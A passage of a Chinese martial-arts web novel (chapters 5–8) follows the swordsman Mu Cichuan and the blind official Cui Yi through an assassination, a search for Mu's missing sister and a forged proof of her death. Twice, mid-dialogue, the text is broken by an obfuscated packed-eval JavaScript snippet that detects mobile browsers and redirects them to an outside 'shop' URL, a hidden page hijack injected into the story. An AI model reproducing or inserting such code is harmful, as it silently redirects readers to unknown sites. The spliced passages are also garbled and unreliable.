话说完后,谢钦就笑了,笑容既不愉快,也不好看。 他笑着道:“看起来在你眼中,我已只有等死这一条路。” “世上哪儿有绝人之路?”崔疑那双灰黑得令人不安的瞳仁牢牢锁在谢钦脸上,“晚生还有一个问题,想向谢中书请教。中书若答得上来,今日之事,我便不同沈侍郎禀报了。” 他用细微得不能再细微的声音说:“十年前族灭裴氏的御旨,中书省可有留存。” 谢钦的眉本皱着,此刻忽然都舒张开。他说:“我已知道你是谁。” 崔疑并未动容,道:“那么谢大人肯不肯走我这条路?” 谢钦道:“我其实还有第三条路可以选的。” 崔疑挑眉道:“哦?” “我还可以让人在这里杀掉你。”谢钦慢慢地说,“虽然我也终将毒发身亡,但为了除掉那个妖后而死,根本就算不得什么。” “中书大寿的日子,何必说这种丧气话?”崔疑笑了笑,道,“谢大人并不会死的。” “那杯酒里本来就没有毒。” 他说这句话的时候,谢钦的身后响起了叮叮当当的剑鞘响。穆辞川竟然又摇摇晃晃地从地上站了起来。 谢钦的脸色变了。真的变了。 5. 你哭什么 穆辞川的下颌与脖子上都是鲜血,可是眼珠很黑,目光很明亮。 他看着崔疑说:“我……” “酒里不过是加了些补身体的药而已,”崔疑微笑着道,“加之你刚吃过羊肉,气血上头,冲破了鼻窍。” “你少诓我!”穆辞川知道一口药酒绝不会使人流鼻血流得昏过去,大声道,“羊排里肯定还放了相克的东西!” 崔疑竟还是笑着说:“的确放了些。” “!”穆辞川简直不知道该说什么好,憋了半天,憋出一句,“我要涨钱。” “工钱的事,稍后再提。”崔疑摆摆手道,“你现在若还不出手,便连二十两银子也拿不到了。” 因为就在这时,他们都同时听到谢钦说:“拿下他们。” 话音未落,四周数十名死士便都一同抽出刀刃,向着崔疑砍去。 其它事都可不提,要伤崔疑的性命却绝对不行。穆辞川闭了闭眼,黑暗中闪出一只明晃晃的大银锭,再睁眼时,已一剑刺出,接连挑飞一二十柄横刀。 死士见此,便全都改换刀路,向他攻来。他们皆是个中好手,穆辞川难以独自应付。斩断了几根刀柄之后,他的身上也多了几条伤口,皂衣比来时更破败了一些。 一名死士见他招架不来,退后两步,劈向崔疑后心。崔疑是一点儿也躲不开的,睁着双灰蒙蒙的大眼睛望着穆辞川。 穆辞川有点急了,顾不得周身的刀刃,挺剑便向崔疑冲过去。 一柄横刀朝他左肋刺来,他来不及躲,只得狠狠地一提气,胸腹登时收起,刀锋贴着皮肉刺入,割破了衣襟。 他的上衣彻底粉碎了,仅剩零星几块布条挂在肩上,露出大把蜜色的肌肤,富有生命力的精健血肉在其下虬结跳动着。 一只由长命丝缕结成的五彩小鸟,从他怀中的碎布间跃出。那是长姐送给他的饰物。穆辞川晃了个神,忙伸手握紧那只小线鸟,再要去救崔疑时,已晚了半步。 崔疑的面前晃过彩色的鸟尾巴,目光中竟露出一瞬间的狠意,张了张嘴,未容说话,一点横刀的寒芒便闪到了他的心口。 刀很利,点入白衣,那雪白的衣衫下很快渗出血来,死士的动作却忽然僵硬住了。 与此同时,画堂内响起一片暴雨般的杂音,随后便陷入死一样的寂静。 横刀皆都停在半空,片刻后都叮叮当当地落到地上,死士的身子也都如面口袋般,软软地倒了下去。 谢钦惨呼一声,倒在案上,面门正中楔着一只鸟嘴般的银钉。 崔疑目光一移,冷声道:“鹭娘。” 一名高瘦的男装女子推门进来,黎明的日光因之落入厅堂。鹭娘在穆辞川的注视下走到谢钦的尸身前,拔下那枚钉子。 崔疑道:“为什么杀他。”语气并不友善。 “他谋杀太后,本就要死的。”鹭娘冷冷地说。 崔疑道:“是沈绣派你来的。” 鹭娘没有回答。 崔疑又道:“他是中书舍人,当朝紫微,不能杀的。” “现在不是了。”鹭娘道,“现在已只是个死人。” 说罢,她环顾一遍堂内的众人。他们还都活着,脸色却比死人还要难看。 她道:“你们若想活命,现在就走,不许多话。” 谢钦已死,堂下的宾客再成不了气候,一哄都跑散了。 穆辞川知道自己也该走了。他走到崔疑面前,道:“麻烦结账。” 他的上半身还光着,胸膛因剧烈运动而起伏不停,一串碎宝石般的血珠子挂在胸前,长命鸟在他的脖子上弹来弹去。 崔疑紧紧地盯着那只小鸟,像只盯着硕鼠的貂。忽然他问:“这是哪里来的。” 他的声音冷得吓人,穆辞川愣了愣,赶紧伸手捂住了长命鸟,道:“我凭什么要告诉你。” “给我看看。”看不见了那只小鸟,崔疑的眼神乱了乱,上手就要来抢。穆辞川挡开他,他就握住他的胳膊。 “你做什么!”穆辞川被他弄得有点恼,“快点给我结工钱,我要走了。” “不许走。”崔疑抬起头来,眼尾上竟泛着点红。 他大抵是要赖账,穆辞川想着,不愿再纠缠,扭头就往屋外迈步子。身后扑通一声重响,是崔疑仍然不肯松手,以至于被他拖倒在地上。 就连穆辞川都怀疑起来,这只幼时长姐为哄他睡觉而赠的、拿上街也不一定卖得出两文钱的五彩线鸟,到底有什么珍贵之处。 鹭娘在这时走过来,握住他们的手腕轻轻一扭,就把他们两个分了开。 “你们都不能走。”她道,“侍郎大人都要见。” 穆辞川道:“姑娘,你误会了,此处的事情我一概不懂,没必要去见你们大人。” 一颗银钉忽然就抵在了穆辞川咽喉上,鹭娘这才正眼看了看那张面铠,冷声道:“沈大人说要见谁,就一定要见到面。” “无论那人是活着还是死了,哪怕已被分了尸,也要攒起来带到他面前,一块也不能少,懂了么。” 穆辞川这一回不用赶车了,他同崔疑一起坐在车厢里,两个人肩膀挨着肩膀,脑袋却都极力瞥得远远的。 扶摇在前面驾车,他是随着鹭娘来的。鹭娘则在车旁骑马,一行人沉静地向侍郎府走,朝阳将他们的影子拉得很长。唯有扶摇耐不住寂寞,时而叫道: “怎么不把那个戴嘴套的锁起来嘛,我怕他暗剑伤我。” “子慎哥哥,你要当心,他说不准会挟持你。” “鹭娘也要小心,不要走得离马车这么近!” 穆辞川忍不住沉声道:“我不会打伤你们的。” 在雍京漂泊这些日子,他已晓得了活着就是要吃亏。刑部侍郎这种有权有势的大人物,他得罪不起,哪怕侥幸从鹭娘与扶摇的手下脱身,日后也少不得麻烦。 话说回来,他行端坐正,也不怕被人惹麻烦。 至于那麻烦的源头,此时正静静地贴着他肩膀坐着,扭着脖子,看着窗外的街景。 “你那只鸟卖不卖。”就在穆辞川以为他已经睡着了的时候,崔疑忽然问。 “不卖。”穆辞川很快道,“多少钱也不卖。” “那是因为你还没有见过那么多钱。”崔疑冷笑一声,从车厢边抽出他那柄白玉手杖,“你认不认识这个?” 穆辞川说:“认识。拐棍。” “……这是上好的蓝田白玉。”崔疑道,“若是拿去典当,能把东市整条街的当铺都买下来。你把那只鸟给我,这个就是你的了。” 穆辞川道:“哦。” 崔疑忍不住回头看着他道:“你不是很爱钱?” “钱有一二十两就足够,要是太多了,花也花不完,跟石头有什么区别。”穆辞川道,“这只长命鸟是阿姊送给我的,虽然不值钱,我却很珍重,绝不会卖给任何人。” 崔疑半晌没有出声,过了很久,才轻轻地叹了一口气,说:“我的长兄也有一只这样的长命鸟。” 穆辞川知道他这是又开始了骗人,于是不咸不淡地道:“那祝他长命百岁。” 崔疑果然说:“他早死了。” “想要就说想要,还至于编这种故事来骗我,也不怕你哥哥听了揍你……”穆辞川回头就要揭穿他的谎话,却见崔疑正静静地看着他,眼睫下竟挂着一颗泪,就像是那雾一般的眸子中结出的一滴雨。 穆辞川怔住了:“你、你说的是真的?” 又道:“……对不住。” “你不是还要找人么。”崔疑拂去了眼泪,嗓音有些发哑,但还是凉凉地说,“若想找得快一些,就接着留在我身边,刑部的消息可比你一个浪子灵通得多。正好让我多看一看那只鸟。” 穆辞川没有回答。他是一定要走的,长姐的事情没有人能帮上他的忙,可他一时有些不忍心说。 想了很久,他忽然抬起手,揭下了自己的面铠。 他的面容比崔疑预想得更显年轻,双眼狭细,鼻梁挺拔。但这是没有人在乎的,因为无论是谁看到他的脸,都将首先看到他薄唇周围那些可怖的伤疤。 那些伤痕极长、极深,有的斜在他的双唇上,有的从人中刻到下颌,有的豁开他的嘴角,纵横交错,几乎割碎了他的脸庞。 马车微微地摇着,朝霞从车窗的缝隙里漏进来,洒在他满面的伤疤上,筛出了一片美丽的光斑。 “现在你我都知道对方的伤心之处了。”穆辞川看着崔疑,道,“是不是很可怕。” 日光也落在崔疑的眼睛里,将那双空洞的眸子都照得浅澈了些,他慢慢地伸出手,碰了碰那些凹凸不平的痕迹,嘴角竟浮出一点微笑。 他笑着说:“好看。” “像柳树的枯叶。” 安乐坊距离侍郎府不远,他们下车时,天光大亮,正是用早饭的时辰。 穆辞川已重新戴上了面铠,穿上扶摇给找来一件旧皂衣,遮住那只小线鸟。 扶摇又推来一辆雪白的四轮小车,崔疑坐上车去,便可以自己摇着轱辘走了。他摇得飞快,比鹭娘更先一步进入画堂。 穆辞川跟着走进去,便见朝云透光,衬得堂内流光溢彩。一个锦衣的男人低头坐在主座,面前的莲花小桌上满满地摆着十几碟甜点心。 鹭娘快步从一旁的屏风后走过,出来时便已换了一整身干净衣服,沐了沾血的手,去替沈绣布菜。 沈绣仍未抬头,只道:“子慎,事情办得如何。” “罪行已经查明。”崔疑道 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一个两个,都喜欢用钱来收买人。穆辞川想着,向沈绣抱了个拳,道:“侍郎大人过奖了。我一个庶人,没什么能帮上各位大人的,我……” 拒绝的话刚要出口,却忽然又被他咽了下去。穆辞川余光瞥见对面的画窗后闪过一个女子的身影,一身青纱,正如他记忆中的模样。 阿姊! 那是阿姊吗?他那从幽州家中无端消失的长姐,竟出现在刑部侍郎的府邸里?她做了他的侍女吗?做了他的妻妾吗? 穆辞川拧腰就要追出去,却又被人按住手腕,低头一看,是鹭娘站在他面前。 “回沈大人的话。”她道,神色不太好看。 穆辞川被她晃了神,再抬头时,已不见了窗外的人影。转念一想,偷看侍郎府的女眷的确不合礼数,阿姊若是这里的人,也不会轻易就走,于是狠狠压了压胸中的急迫,正视着沈绣道:“我一定要留在这里。” 留在这里,便有再见阿姊的机会。 崔疑苍白的脸上露出些喜色。 “承蒙不弃。”沈绣笑起来,“侠士一夜辛苦,可先去子慎的住处休息,钱财物品我随后便遣扶摇送到。” 穆辞川躬个身道:“好。” 说罢,扭头便走。迈出两步,又发现忘了带崔疑,折返回来倒拖着那张四轮车出门去了。 扶摇俯身向沈绣道:“属下去库房取东西。” 沈绣道:“等一下。”声音却已变了,冷得像剑。 “小扶摇。”他凝望着穆辞川离开,低声道:“你应知道我派你是去做什么的。” 扶摇忽然抬头直视了沈绣一眼,又被他的目光烫得迅速跪伏下去,几乎颤抖地说:“沈大人让我盯着他们。” “不错。”沈绣点点头,“那条戴面铠的狗虽然看起来落魄,早晚必有大用。决不能让他跑了,明白了么?” “你们那个沈侍郎,是有妻妾的么?”穆辞川拖着四轮车,往崔疑的宅子走,忽然问。 崔疑道:“嗯?” 穆辞川道:“只是问一问。”说罢,向右拐了个弯。 “没有。听说本有个发妻,却在成婚当日死了,后来便再没娶过——你刚刚拐错了。”崔疑道,“应当往左走的,下个路口改过来吧。” 穆辞川道:“使女、奴婢呢?” 崔疑淡淡笑了一声:“他死了老婆伤心,从此府里便不让进女眷,连鸟都只养公的——你又走错了——鹭娘自然是例外,可是鹭娘那样的凶神也能算作女人么?” 穆辞川道:“哦。”转身又进了一条歧路。 崔疑感到不对了,从侍郎府至他的住所,仅需走二里路,拐三个弯,穆辞川却已拖着他兜转了整整半个时辰。 “穆辞川,”他略略压下声音道,“你在找什么?” 穆辞川在找长姐,他绕着圈子走,四处张望,但侍郎府内外,已再找不见那个黑衣的人影。 他于是只道:“我找那二十两银子。” 哦,他学会骗人了。 崔疑的目光在他背后冷下去。“你急着要钱?好。”他冷笑着说,“回了家,我立刻取钱给你,只怕你不敢拿。” 崔疑的宅子比他的人朴素得多,灰的墙,青的瓦,回廊走道,宽窄皆仅容一架轮椅通过。唯一特别的不过是院子中央的一只大水池,土石垒成,光光秃秃,深水中隐隐浮沉着几十尾银白色的鲈鱼。 单是看着,便叫人联想到他将鱼捉出斩首、剜眼吃肉的场面。 崔疑挣开穆辞川,自己摇到水池后面,从怀中掏出四只五两一枚的银锭子,排在那些鲈鱼旁边。 穆辞川伸手去拿,却被崔疑打断道:“一枚银子,一条规矩。” 6. 我不做拿钱陪人睡觉的事! 穆辞川看着崔疑,道:“你要赖账。” 崔疑道:“我自己的账,我想怎样赖就怎样赖。” 穆辞川感觉他好像在生气,却也只好走到他对面,抱起剑来,对他道:“先说你的规矩。” 崔疑抓起一枚银锭,道:“第一条,你为我赶马或者推车的时候,我叫你去哪里,你就要去哪里,一步都不能乱走。” 言罢,不等穆辞川回答,他便高高地一扬手,将那枚银子朝着鱼池中央掷出。银锭入水遂沉。 穆辞川的剑比他的头脑更快,还没有想明白崔疑的话,漆黑的剑鞘便已经向水面抄去,掌心一按,银锭就被剑锋挑起,弹入他自己的怀中。 银子在手,穆辞川只得道:“好。” 崔疑这才笑了笑,又掷出一枚银锭:“第二条,我房里的东西,你一件都不许乱动;我的私事,你也一句都不许过问。” 这颗银子还未来得及沾水,便被收入囊中。穆辞川本就对他的过往没有很大兴趣。 “第三,你若有朝一日求我帮忙,我仍会帮你。但到了那时,我问你什么,你便要答什么。” 穆辞川又是面不改色地捞起银子。沉甸甸的银钱握在手里,让他那使惯了重剑的手也禁不住抖了起来。 “只剩最后一条了。”崔疑将第四枚银子拈起来,上下看了半晌,似是也再想不出什么有趣主意,便随口道,“这枚就当作赏你的,拾了之后,进屋陪我睡觉去。” 这枚银锭落在水中,沉了个底。 穆辞川杵在水池边上,使劲张了好几次嘴,才终于说出话来:“我不做拿钱陪人睡觉的事!” 嘣地一声,一条大鲈鱼忽然翻着肚皮从水里跃出来,挣扎两下,吐出了卡在嗓子里的银子,不偏不倚,吐在穆辞川的口袋中。 “你这条鱼!”穆辞川涨红着脸道,“我烤了你!” “哈……” 他拔剑就要斩鱼,水面上却又滚来细弱的涟漪,抬头看时,才见崔疑已笑得俯在泊岸石上,指尖拨动池水,惹得鱼群簇拥亲吻。 穆辞川还没有见过他这样笑,原来他真的笑起来时,一边的脸颊上会有一只远月般的笑涡。 “你怎么会这样想?你怎么这么可爱?”崔疑的发梢都散进水里,他伸手碾着穆辞川的衣襟道,“我是要那只长命鸟陪我,你若肯将它解下来自然更好。” 穆辞川的脸更红了。 可他当然是不愿意解开长命鸟的,于是,连他自己都不知道怎么回事地,他在最宽敞温暖的浴桶里泡了澡,换了身最轻薄柔软的蚕丝亵衣,饮了壶最清香馥郁的静眠茶,然后便挨着崔疑,卧倒在一片软若无物的床榻里。 他仿佛变成了一条饮□□美、皮毛油亮,连尾巴尖都被修剪得蓬松如同一朵牡丹花的宠物犬。 无论如何,他睡得很沉,再醒来时,已分不清是第几日的晌午。 脖子上的小线鸟被枕边的人紧紧攥着,攥得他呼吸都有些不畅。 穆辞川于是小心翼翼地拿回线鸟,从床上坐起来,便见崔疑还没有醒,于梦中轻轻地唤了一声:“哥哥……” 他睡相不雅,双手像婴儿般握着拳,身下白衣散乱,露出两条死气沉沉的腿。 或许是得益于主人的倔强,这双腿的形状仍旧美观,没有什么萎缩的迹象,摆在床褥之上,如同一对名贵的白玉镇席。只是膝弯之前,布有两条又长又细的、墨翠般的乌疤。 穆辞川虽看不透崔疑的心思,却看得出这绝不是马车压出来的疤痕。 窗棂的影子恰巧刻在那双膝盖上,又直又窄,仿佛一柄利剑。忽而日影一摇,就好似谁挥剑斩断了他的双腿。 穆辞川登时察觉到窗后有人,倏然抬头,正撞见那似是阿姊的女子身影从院子里一掠而过。 又是她! 穆辞川眉心一沉,纵身就起,登靴挎剑,翻出窗户,环视一遍已空无一人的院子,压着嗓音道:“阿姊?” 阿姊既能跟过来,为何还要躲着他? 没有人应答。一片青黑色的衣袂隐没在院墙后,穆辞川两步就追了上去。 翻过院墙,又能窥见一点那姑娘的踪影。她只是跑,动作不快,身法却极轻盈,登萍渡水,择路刁钻,怎样看怎样像阿姊。 穆辞川身上还裹着蚕丝里衣,追得很勉强。待到他终于捉住了那女子的手腕时,才发觉自己已跟至雍京城外的一间小酒垆中。 说是酒垆,其实也就是间一层高的小草房,堆了些残破的柜台与桌椅,不见店家掌柜,连墙壁都塌了一角,一株大柳树自那坍塌处拥进来。 业已深秋,那株柳却还是特别的绿,给这破旧的酒垆映出些鲜嫩的生气。柳下的墙角里,一个碧衫的男子抱着只酒囊自斟自酌着,便是这垆内唯一的客人。 穆辞川此刻管不得他,只扯着那女子的胳膊道:“阿姊,是你吗?” 女子不回答,身躯一旋,便空剩一件黑衣留在穆辞川手中。她实际所穿的是一身赤红的圆领袍,在这布满草木碧色的酒垆间显得格外夺目。 她回了头。 穆辞川几乎立刻就僵住了。那姑娘眼圈通红,唇色赤得像血,眉目鼻口,无一处不英俊漂亮,可分明就不是长姐。 “你……”穆辞川说不上是什么心情,“你不是阿姊?” 女子黛眉却忽然一拧,叱道:“你还有脸提她!”言罢,便出了手。 她的掌向穆辞川的肋下劈来,掌风狠劲。穆辞川只顾想长姐,将她的掌力接了个十成十,口中立刻呛出几滴血沫。 这雍京城中姑娘的功夫,竟一个比一个高明。 女子一招既中,片刻不停,接连攻出二三十掌。穆辞川有的用剑鞘挡下,挡不及的,就用肉接。 “我知道你会剑,”女子喝道,“拔你的剑!” 穆辞川腹上又挨了一掌,退后两步,撞折了那大柳树的几根枝杈。掌法透劲深厚,以至于他身上那薄如蝉翼的蚕丝衣服虽还完好,内里肌肤却已是青紫一片。 他已有些站不稳,却只咬着牙道:“你认识我阿姊?你认识穆月出?” “你不准叫师姐的名字! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609351|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”女子似是发了狠,一掌运起十足的力气,向穆辞川的心口要害拍来。 心口倒还不算太重要,重要的是她这一掌若中,只怕要拍坏了穆辞川怀里的长命鸟。 穆辞川终于握上了他的剑。须臾之内,三剑已出。 一剑挑起身后碧衫男子桌上的酒囊,二剑将酒泼了红衣姑娘满脸,三剑将那只墨字题着“且乐生前一杯酒”的酒囊又还到了男人面前。 他也是直到此时才发现那人竟然还在角落里一声不响地坐着,不禁回头多看了一眼。 那是个做派很风雅的男人,说不好年纪,但眼尾布有些柳絮般细密的皱纹,想必已不年轻。 他宽衣博带,一手擎盏,斜倚着柳树坐着,阖着眼,面颊上飘着淡淡的粉红,似还有些笑意,看起来已经喝醉。 穆辞川道一句:“实在抱歉,酒钱我会赔的。” 酒鬼仍是闭眼斜卧着,连嘴唇都没怎么动,却忽然发出了淡淡的声音。他道:“不愿寒。” 穆辞川怔了怔。 长姐将那柄漆黑的剑赠给他那日,曾提过一次剑的名字。它黑得像炭,但是炭贱愿天寒,剑却没有这样的顾虑。它叫“不愿寒”。 这个男人认识他的剑。 “就是这把剑!”红衣姑娘的眼睛被酒浆熏得更红,她抹了一把,向着那男人叫道,“师父,杀了他!给师姐报仇!” 他们原是一伙的。 穆辞川狭长的双眼立刻向男人身上扫去,只见他碧衫轻薄柔软,看起来并未携带任何明暗武器。 可他却笑着说:“好。” 语毕,他放下酒盏,在身旁柳树上轻轻一掐,掐下两根三尺长的柳条,将它们分拈在双手中,宛如一对碧绿的双股窄剑。 “南雀,”他似是对那红衣姑娘说,“你方才第二、第七、第十四招,出得不好,要仔细看。” 话音未落,那对柳条双剑就到了穆辞川眼前。 男人的剑法既不快、也不狠,反而是又轻又柔,如同风吹蒲柳,仿佛也是指甲一掐就会折断。 穆辞川并未因此放松警惕,他握紧剑柄,看准柳色,连出七剑。剑光如瀑,将男人右手中的柳条齐齐斩成了七截。 七剑已成,正欲回鞘,穆辞川持剑的手却忽然连动都不能动了。 低头一看,才发现原来不是剑将柳枝斩成七截,而是柳枝把剑缠绕了七圈。柔韧的柳条紧紧盘在剑锋上,如同一条剧毒的竹叶青蛇。 男人轻轻笑了笑,点评到:“只得其形,不得其意。”说着,细腰一拧,手腕一旋,“不愿寒”剑便被柳枝卷飞,钉在那株柳树干上。 穆辞川没了剑,门户大开。男人左手中的柳枝却又接着向他刺来,卷上了他的面铠。 面铠被掀翻的那一刻,他的眼前先是一片漆黑,而后立刻又是一片苍白,什么都看不见了。 然后他便听见了崔疑的声音,听见他在自己身后说:“你明明是个人,可怎么总像个拴不好的狗一般到处乱跑?” 语气之冷,让穆辞川都打了一个寒战。 7. 五根断指 穆辞川抓了两把面前那片白色,入手细腻微凉,正是崔疑的外袍。他扯下袍子系在面上,遮住自己的伤疤,随后寻声看过去。 崔疑乘着四轮车,守在垆口,身上只余中衣,长发打了一个结,带钩搭错了一个扣,两只玉璧般的掌心已被车轮磨得通红。 他抬着手,指尖捏着缕乳白色的细丝。穆辞川四下一看,才明白是自己一路上翻墙登树,早蹭烂了衣摆,蚕丝挂得到处都是。 崔疑便是寻着这些断丝来的。 他就这么捏着丝,盯着穆辞川,却一句话都不多说了。 首先开口的是那个碧衣的男人。他放下柳枝,向着崔疑走了两步,拱手施礼道:“嘉陵剑派祝轻尘。不知阁下是……” 嘉陵派……穆辞川皱起眉,他似乎听说过这个名字,但这看起来像是师徒的一红一绿两人,他却全然没有印象。他望向崔疑。 “崔子慎。”崔疑没看那男人,打发了一句。 “哦,崔小公子。”祝轻尘又是深深地一拱手,笑道,“我代嘉陵派师徒四人,拜谢崔小公子。” 崔疑这才分给他一点白眼,冷冷道:“谢我什么?” 祝轻尘道:“崔小公子助我嘉陵派寻得仇人下落,自然要谢。” 崔疑的脸色更阴沉了,他将手中蚕丝捏成个小球,鼻子里呛出一声:“嗯?” “啊,是祝某唐突了。”祝轻尘道了个歉,眼边的细纹却因笑容弯折成了更加柔美的弧度,他解释道,“我们嘉陵派有个杀徒的仇敌,听闻近日正藏身在雍京城中,祝某携顽徒江南雀入京,就是为了此事。” “崔小公子也应清楚,雍京城车马如织,想要没头没尾地找这样一个人并不容易,祝某寻了许久,也未打听到他半点消息。” 他略顿了顿,呷下一口囊内的苦酒,又接过南雀递来的丝绢手帕,从眼底揩出几滴水来,才接着道: “我们小门小派,这样的冤屈也不知道囫囵咽下过多少。本来打算就此回蜀中去,为枉死的大徒弟立个残冢,也就罢了。只可怜她连尸身都不知下落……” 讲到这里时,他仿佛已伤心得说不下去。江南雀走上前,将师父的话接下来。 她瞪着穆辞川道:“前日师父派我上市集里买马草,预备回程。我恰巧听到那伙马贩谈论,说遭了一个蒙面的人的打,那人用的是柄通体漆黑的剑。那不正是大师姐的剑吗!” 穆辞川心里一凛。只听那红衣的姑娘接着道: “我赶紧逮着他们问,他们说那个蒙面人是被刑部侍郎府里的人带走了。师父才叫我扮作师姐的样子,潜入侍郎府里引他出来!” “毕竟,无论是谁,见到个本应已被杀了的人还魂在自己面前,都是要追出去看一看的。” “我们如今能够拿下恶人,都是靠崔小公子在其中做线。”祝轻尘流完了眼泪,最终定论道,“说是崔小公子对我门派有恩,也不为过。待到报仇雪恨,祝某必有重谢。” 崔疑颇不友善地道:“说完了?” 祝轻尘笑道:“说完了。” 崔疑又面向穆辞川,问:“你杀了他们女徒弟?” 穆辞川只僵硬地摇摇头,答不上话来。 崔疑又问:“你认识他们?” 穆辞川又摇摇头。 崔疑就摇着轮椅过来,扯住穆辞川的衣袖,道:“那就跟我回去。” 他再要摇着车走,却无论如何也摇不动了,回头看时,见穆辞川还在原地立着,同他较着劲。仿佛一头不肯回家的犟狗。 崔疑蹙眉问:“怎么了?” 穆辞川有很多话要说,也有很多问题要问,一股脑地涌上喉咙里,却又什么都说不出来了。他站了很久,才用极低的声音道了一句:“他们说的是我阿姊……” 那赠他以长剑、教他以弓马的长姐穆月出,已在这对师徒的言语间成了个枉死的冤魂,而自己则成了杀害姐姐的真凶。穆辞川再怎么不肯听懂,此刻也还是全都懂了。 阿姊终究像他总是担忧的那样,因他而死了吗? 他咬紧了嘴唇,血在覆面的白衣上泅出一小块鲜红。 “不准听他们的。”崔疑的声音忽然传来,将穆辞川的魂灵扯回这间破酒垆里,“他们连尸身都未见到,就要找你偿命,不过是胡乱咬人罢了。” 江南雀恼怒道:“你凭什么这样说!” “不要吵。”祝轻尘柔声打断他们。他仍笑着,只是那柳叶般的眼底已透露出彻骨的冷意,他盯着崔疑道,“听崔小公子的意思,祝某若拿得出证据,小公子就肯把这个恶匪交由我们处置吗?” 穆辞川已在原地轻轻发起抖来。 “若真如此,便算我识人不明。”崔疑也冷笑道,“不止他交出去,我这双眼,也一并挖出来给你。” 他的双眼阴晦如海,若一锹挖下去,也不知能挖到多深。 祝轻尘长长地叹了一口气,吩咐道:“南雀,拿出来。” 江南雀叫道:“师父!” 祝轻尘并没有改口的意思。江南雀只得红着眼圈,绕步到那株柳树边,从枝桠里捧出一只做工极为精美的鎏金匣子,端到崔疑与穆辞川面前,缓缓掀开了盖。 穆辞川看到那匣子底部铺着一块彩绸,绸缎上镇着长短不齐的五根玉棒,玉质苍白混浊,与这华美的匣子实在太不相衬。 他于是又细看了看,待看清了那五根东西时,只觉得心尖的血都凝固了八分。 那五根小棒,一端尖细,另一端微粗,底部打磨成个黑乎乎的圆形,掺杂了些森森的白点,竟赫然是五只齐根斩断、露着骨茬的手指。 祝轻尘微微侧过身子,不去看那些断指,只沉声道:“一月之前,有人将爱徒月出的手指装在这只匣子里,投入嘉陵江,一路漂到了我嘉陵派的山门。崔小公子还以为祝某所言不实吗?” 崔疑只看了一眼那些断指,便道:“人都是长着一样的五指,怎么证实这便是你的弟子?” 未容祝轻尘回答,穆辞川倒是先开了口。他目不转睛地盯着匣子,话语随着呼吸一起,颤抖着从胸膛里吐出。他轻声说:“痣。” 匣中小指的关节处,的确结着一颗梅色的小痣。 “阿姊手上,也有这样的痣。”穆辞川说。 “爱徒的手,我当然不会认不出。”祝轻尘道,“你们恐怕还想问,只是见到五指,我为何就能断言月出已死。我现在可以告诉你们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609352|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他说着,略一抬手,便拔出了那柄深钉在柳树干内的乌剑,动作比折断柳条更显得轻松。 他还在笑,只是笑容已很难看。他道:“因为她用剑。用剑的人,不至最后一口气,绝不容许被人斩去手指。” 他一手提着剑,一手举起酒囊,昂头欲去饮酒。 忽而他身体一晃,绿酒泼了满襟。原来是穆辞川突然伸出了手,牢牢捉住“不愿寒”的剑柄,似乎要把剑从祝轻尘的手中抢回来。 “我没有害过阿姊。”他仿佛鼓尽了勇气,很用力地说道,“把剑还给我,我去给她报仇!” 江南雀在一旁冷嗤一声,道:“你还要嘴硬到什么时候?师姐的剑在你手里,凶手不是你还能是谁?” 穆辞川只道:“我没说谎。” 他本就不善言辞,心里一急,更是争辩不出什么。酒垆里一时间安静了下来。 崔疑就是在这时发出了一声笑。 他的笑声很动听,但在其他人听来只觉得格格不入。祝轻尘的手腕只一翻,长剑就架在了那段玉琮般的脖颈上。 “为什么笑。”他瞥着他,问。 崔疑道:“因为好笑。” 又问:“你也会用剑?” 祝轻尘的眼睛眯缝起来,没有回答他。 “你既用剑,就应该知道,”崔疑伸出手,从金匣内拾起一截手指来,在指尖上轻轻捻了捻,“用剑的人,虽不一定都会死于断指,指心上却一定都会有茧子。” 那根手指的皮肤虽已枯干如纸,指心处却仍然平坦光滑,不见任何泛白与增厚。那不是根常年握剑的手指。 崔疑道:“先在指根以长针穿洞,再用蒿杆向皮肤下点入羊血,便可以做出这样的痣,剑茧却无论如何不能仿造。刑部有经验的仵作验尸时,总不会忘了查验手茧。” “你本来也能够发现这一点的,”他望着祝轻尘,半晌后才接着道,“但是你不肯去看。你宁可从嘉陵奔袭二千里路来到雍京,发泄愤怒与仇恨,也不肯低头再望一眼她的残骸——可笑。” 他话说完,酒垆陷入一片寂静,唯有柳条在秋风中沙沙作响。 过了很久,穆辞川终于开口道:“你的意思是,阿姊并没有死。” “我可没有这样说过。”崔疑凉凉地道,“这些手指确实是从人身上砍下来的,痣也确实是照着你姐姐的样子做的。被人用这种手段盯上,她就算还活着,处境也绝不会好。” 穆辞川不再追问,只忽然一劈手,从祝轻尘掌心里夺过“不愿寒”剑来,闷着头就往外走。 江南雀赶紧叫到:“不许走!你到哪里去?” 穆辞川道:“我去找她!” “……怎样找?”祝轻尘仍背着身站着,声音却已轻如柳棉。 “把雍京城倒扣过来抖一抖!”穆辞川咬着牙说,“总能找得到。” “找不到的。”祝轻尘摇了摇头,道,“我来雍京,本也没有指望找到她,只是怕南雀也要步她的后尘。这天下早就无人知晓她的下落了。” “我若说我知道呢?” 穆辞川扭头向垆口看去,便见崔疑也在望着他,玉颊边似乎又旋起远月般的笑涡。 8. 你是不是没挨过打 中秋过后,雍京的夜就很长。卯时未到,便连蓬莱宫中也再不见半点日光。 潘勖跪在长生殿的玉阶前,为栏杆系上更多象征长生的彩绦。 五彩的丝缕结满门廊,却只衬得殿内更加黑而深邃。 